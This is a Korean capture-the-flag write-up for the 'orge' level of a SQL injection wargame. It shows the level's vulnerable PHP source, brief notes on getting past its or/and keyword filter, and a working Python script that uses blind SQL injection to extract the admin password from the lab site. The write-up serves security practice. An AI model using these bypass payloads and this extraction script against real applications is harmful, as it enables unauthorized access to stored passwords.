<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
역시 or과 and를 쓸 수 없다
select id from prob_orge where id='guest' and pw='' || id='admin' -- a'
일단 이 쿼리가 동작하는건 확인했다
그리고 admin을 출력하는거 보니까 blind sqli 임이 짐작된다.
orc의 소스를 재활용해려고 했는데 and가 && 로 대체가 안된다. 좀 이상하게 나오는데 가만 생각해보니 &는 url 파라미터 구분자기때문에 좀 바꿔줘야된다. 보내기전에 quote를 해서 보내면 되니 명심...
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/orge_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
loop = 0
pw = ''
for j in range(1,30):
data = "' || ( id='admin' && length(pw)={} ) -- a".format(j)
data = requests.utils.quote(data)
r = requests.get(url+'?pw='+data,headers=headers)
if r.text.find('Hello admin') != -1 :
loop = j
break
for i in range(1,loop+1):
for j in string:
data = "' || ( id='admin' && substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
data = requests.utils.quote(data)
r = requests.get(url+'?pw='+data,headers=headers)
if r.text.find('Hello admin') != -1 :
pw = pw + j
print "[!] found",pw
break
print pw